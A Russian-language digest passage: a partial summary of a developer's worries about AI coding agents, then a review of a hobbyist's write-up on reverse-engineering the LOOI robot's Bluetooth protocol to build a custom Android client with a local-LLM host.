Автор отмечает, что на постсоветском пространстве это пока не так заметно из-за санкционных и организационных барьеров, недоверия, инерции и ресурсных ограничений — многие используют LLM просто как «спрошу у ChatGPT», без агентской разработки. Но есть Яндекс с программой 75/75/75 и крупные банки, разрабатывающие собственные харнесы и обучающие модели. Появляются вакансии «Инженер ИИ-ферст», «Продуктовый инженер». Автор формулирует свою новую роль как обслуживающий персонал большой языковой модели, который вовремя вычитывает спеку. Его тревожит, что модели пишут всё лучший код, ревьюят и адаптируются под архитектуру, и что ехидное «посмотрим, как вы запоёте, когда он вам говнокод напишет» уже не звучит уверенно. Выходов он видит три и ни один не устраивает: стать луддитом (объективно проиграешь коллегам с Codex), делать часть задач руками (но трудно отказаться от инструмента, когда попробовал), или сдаться прогрессу — «лишь бы платили». Точного прогноза, куда всё придёт, по его мнению, нет ни у кого.
Автор пишет собственный Android-клиент (Kotlin, пакет com.looidev) для робота LOOI, поскольку официальное приложение держит зрение, карту и идентификацию владельца в облаке, а наружу по Bluetooth отдаёт лишь моторы, голову, свет, датчик обрыва, короткий дальномер (TOF) и заряд. Протокол снят реверс-инжинирингом с APK официального клиента версии 2.9.2 через инструмент REA: тело корпуса — это TangibleBody.kt (classes5.dex), из его конструктора вытащены UUID сервиса 000000ff-… и характеристик FED0 (скорость), FED1 (голова), FED2 (лампа), FED4 (стик), FED5 (обрыв), FED8 (заряд), FED9 и FEF0 (notify-логи); формулы байтов — speed*127, (1−angle)*255, лампа 1/0. Каталог поведения — не код, а assets/*_behaviors.json, читаемые как данные. Класс команд последовательностей и OTA автор намеренно не переносил.
Архитектура разведена на контуры: GATT, стики, одометрия, обрыв, TOF и карта живут на телефоне; глаза — ролики Tencent PAG с кэшем; диалог, синтез речи и разбор консоли браузера — на Node-хосте (порт 8787) с Ollama по localhost; память — в Supabase владельца хоста. Адрес хоста зашивается в APK при сборке, ключи панели и БД в приложение не попадают. Смысл разделения: движение обязано переживать недоступность хоста — пока модель думает, автономный цикл продолжает слать скорость, при падении хоста корпус всё равно едет вперёд, а пустой ответ модели или упавший хост не переводят колёса в остановку.
Два режима: «джойстик» (телефон в руке, Manual включён, в GATT уходят только стики, автономный цикл и речь отрезаны) и автономный (телефон закреплён на голове, вертикально, портрет как основной кадр, fullSensor-ориентация; на Galaxy Z Flip работу можно продолжить через виджет на внешнем экране крышки). Голова в автономном режиме смотрит вниз look(0.92), но не во время подъезда к лицу, побега от обрыва или разговора после пробуждения.
Управление движением: прошивка скорость не защёлкивает (один пакет FED0 даёт 1–2 см), поэтому и стик, и автономная команда повторяются каждые 20 мс с одной очередью GATT и двумя HandlerThread. Обрыв реагирует на сырой 0x00 немедленно (лампа и задний ход), 600 мс подтверждения на движение не распространяются. Стена определяется не по абсолютному TOF, а по контакту: удар носом — три выборки подряд короче 90 мм и минимум на 30 мм меньше выученного пола; mm<=0 стеной не считается; подозрительно невалидные показания на ходу трактуются как чёрная поверхность. Заряд озвучивается на порогах 20% и 10%.
Поведение разбито на модули, а не один цикл: MindBook.step берёт один шаг официальной цепочки и исполняет глаза, жужжание, голос; исполнитель robotAction (performer 2) отбрасывается, тайминги хореографии колёс рассчитаны на другой канал. Колёса ведёт локальный цикл (прямой ход, объезд по карте, побег, обрыв), диалог ходит в хост и обязан вернуть act:"stay".
Отдельно реализован рабочий модуль «консоль»: без WebView, через Chrome DevTools Protocol (POST /api/cdp/connect, Target.attachToTarget) телефон показывает поток событий и консоли, а по кнопке Brain последние ~12 КБ логов уходят в Ollama (по умолчанию qwen2.5-coder) с узкой инструкцией «причина — где смотреть — что менять». Это не модель разговора: котёнок-собеседник и колёса в этот запрос не подставляются.
Карта — сетка занятости UNKNOWN/FREE/OBSTACLE/DROP на телефоне, из конуса камеры, TOF, обрыва и одометрии от команд (энкодеров на канале нет). Стена пишется только бампером, а не по силуэту комнаты в кадре; клин определяется по накопленному пути при отсутствии сдвига и подтверждается контактом, после схода с угла — 8 секунд покоя. Карта сохраняется на диск, долгое нажатие стирает. Это не лидар и не SLAM: при подъёме корпуса одометрия врёт.
Диалог: пробуждение «Hi LOOI» и формы из официального app_setting.json, VAD, исполнение команды через ~1.6 с паузы, окно ~50 с без повторного пробуждения, микрофон удерживается во время синтеза. Синтез — edge_tts (ru-RU-SvetlanaNeural, rate +12%, pitch +52 Hz) с локальным фолбэком через ffmpeg и Google TTS; модели для мозга и для консоли разведены в UI и конфиге. Память — свои таблицы looi_opinions и looi_turns в личном проекте Supabase с RLS, при ошибке хост падает в локальный memory.json и всё равно отдаёт фразу. Отдельно описаны побочные интеграции с хостом (буфер обмена через pbcopy, уведомления через osascript), подпись процента заряда и эквалайзер. Проект продолжает развиваться, обещан публикацию на GitHub.
Итог: это узкоспециальный, добротный DIY-разбор протокола и архитектуры с ясным разделением ответственности и внятной инженерной логикой, но без новостного, полит-экономического или остросоциального угла, с ограниченной применимостью для тех, у кого нет самого робота LOOI. Рекламы нет, однако и прорывной актуальности тоже — ценность скорее для узкого круга реверс-инженеров и владельцев устройства.